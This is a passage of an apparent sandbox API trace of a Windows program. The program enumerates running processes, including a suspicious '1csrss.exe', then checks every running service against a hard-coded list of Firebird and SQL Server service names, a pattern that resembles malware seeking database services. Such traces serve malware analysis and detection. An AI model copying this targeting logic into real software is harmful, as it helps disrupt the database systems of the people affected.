hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.840] lstrlenW (lpString="svchost.exe") returned 11 [0300.840] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0300.841] lstrlenW (lpString="taskhostw.exe") returned 13 [0300.841] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0300.841] lstrlenW (lpString="explorer.exe") returned 12 [0300.841] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0300.842] lstrlenW (lpString="SearchUI.exe") returned 12 [0300.842] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0300.843] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0300.843] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0300.843] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0300.843] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0300.844] lstrlenW (lpString="1csrss.exe") returned 10 [0300.844] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.889] lstrlenW (lpString="svchost.exe") returned 11 [0300.889] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0300.889] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0300.889] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.059] lstrlenW (lpString="svchost.exe") returned 11 [0301.059] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0301.060] lstrlenW (lpString="consent.exe") returned 11 [0301.060] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0301.060] CloseHandle (hObject=0x370) returned 1 [0301.060] Sleep (dwMilliseconds=0x1f4) [0301.565] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0301.565] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0301.567] GetLastError () returned 0xea [0301.567] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0301.567] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0301.567] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0301.568] lstrlenW (lpString="Appinfo") returned 7 [0301.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0301.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0301.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0301.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0301.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0301.568] lstrlenW (lpString="AppXSvc") returned 7 [0301.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0301.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0301.568] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0301.568] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0301.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0301.568] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0301.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0301.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0301.568] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0301.568] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0301.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0301.568] lstrlenW (lpString="Audiosrv") returned 8 [0301.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0301.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0301.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0301.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0301.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0301.568] lstrlenW (lpString="BFE") returned 3 [0301.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0301.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0301.569] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0301.569] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0301.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0301.569] lstrlenW (lpString="BITS") returned 4 [0301.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0301.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0301.569] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0301.569] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0301.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0301.569] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0301.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0301.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0301.569] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0301.569] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0301.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0301.569] lstrlenW (lpString="CDPSvc") returned 6 [0301.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0301.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0301.569] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0301.569] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0301.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0301.569] lstrlenW (lpString="ClickToRunSvc") returned 13 [0301.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0301.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0301.569] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0301.569] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0301.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0301.570] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0301.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0301.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0301.570] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0301.570] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0301.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0301.570] lstrlenW (lpString="CryptSvc") returned 8 [0301.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0301.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0301.570] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0301.570] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0301.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0301.570] lstrlenW (lpString="DcomLaunch") returned 10 [0301.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0301.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0301.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0301.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0301.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0301.570] lstrlenW (lpString="DeviceAssociationService") returned 24 [0301.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0301.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0301.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0301.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0301.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0301.570] lstrlenW (lpString="Dhcp") returned 4 [0301.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0301.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0301.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0301.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0301.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0301.571] lstrlenW (lpString="Dnscache") returned 8 [0301.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0301.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0301.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0301.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0301.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0301.573] lstrlenW (lpString="DoSvc") returned 5 [0301.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0301.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0301.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0301.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0301.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0301.573] lstrlenW (lpString="DPS") returned 3 [0301.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0301.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0301.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0301.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0301.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0301.573] lstrlenW (lpString="DusmSvc") returned 7 [0301.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0301.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0301.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0301.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0301.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0301.573] lstrlenW (lpString="EventLog") returned 8 [0301.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0301.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0301.573] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0301.573] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0301.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0301.574] lstrlenW (lpString="EventSystem") returned 11 [0301.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0301.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0301.574] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0301.574] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0301.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0301.574] lstrlenW (lpString="FontCache") returned 9 [0301.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0301.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0301.574] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0301.574] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0301.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0301.574] lstrlenW (lpString="gpsvc") returned 5 [0301.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0301.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0301.574] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0301.574] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0301.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0301.574] lstrlenW (lpString="iphlpsvc") returned 8 [0301.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0301.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0301.574] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0301.599] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0301.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0301.599] lstrlenW (lpString="KeyIso") returned 6 [0301.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0301.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0301.599] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0301.599] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0301.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0301.599] lstrlenW (lpString="LanmanServer") returned 12 [0301.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0301.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0301.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0301.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0301.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0301.599] lstrlenW (lpString="LanmanWorkstation") returned 17 [0301.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0301.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0301.600] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0301.600] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0301.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0301.600] lstrlenW (lpString="lfsvc") returned 5 [0301.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0301.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0301.600] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0301.600] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0301.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0301.600] lstrlenW (lpString="lmhosts") returned 7 [0301.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0301.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0301.600] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0301.600] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0301.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0301.600] lstrlenW (lpString="LSM") returned 3 [0301.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0301.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0301.600] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0301.600] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0301.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0301.600] lstrlenW (lpString="MapsBroker") returned 10 [0301.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0301.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0301.600] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0301.600] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0301.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0301.600] lstrlenW (lpString="MpsSvc") returned 6 [0301.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0301.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0301.600] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0301.600] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0301.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0301.601] lstrlenW (lpString="NcbService") returned 10 [0301.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0301.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0301.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0301.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0301.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0301.601] lstrlenW (lpString="netprofm") returned 8 [0301.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0301.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0301.601] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0301.601] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0301.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0301.601] lstrlenW (lpString="NgcSvc") returned 6 [0301.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0301.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0301.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0301.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0301.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0301.601] lstrlenW (lpString="NlaSvc") returned 6 [0301.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0301.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0301.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0301.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0301.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0301.601] lstrlenW (lpString="nsi") returned 3 [0301.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0301.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0301.601] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0301.601] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0301.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0301.601] lstrlenW (lpString="PcaSvc") returned 6 [0301.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0301.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0301.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0301.608] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0301.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0301.608] lstrlenW (lpString="PlugPlay") returned 8 [0301.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0301.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0301.608] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0301.608] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0301.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0301.608] lstrlenW (lpString="Power") returned 5 [0301.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0301.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0301.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0301.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0301.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0301.608] lstrlenW (lpString="ProfSvc") returned 7 [0301.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0301.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0301.609] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0301.609] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0301.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0301.609] lstrlenW (lpString="RpcEptMapper") returned 12 [0301.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0301.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0301.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0301.609] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0301.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0301.609] lstrlenW (lpString="RpcSs") returned 5 [0301.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0301.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0301.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0301.609] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0301.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0301.609] lstrlenW (lpString="SamSs") returned 5 [0301.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0301.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0301.609] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0301.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0301.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0301.609] lstrlenW (lpString="Schedule") returned 8 [0301.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0301.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0301.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0301.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0301.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0301.609] lstrlenW 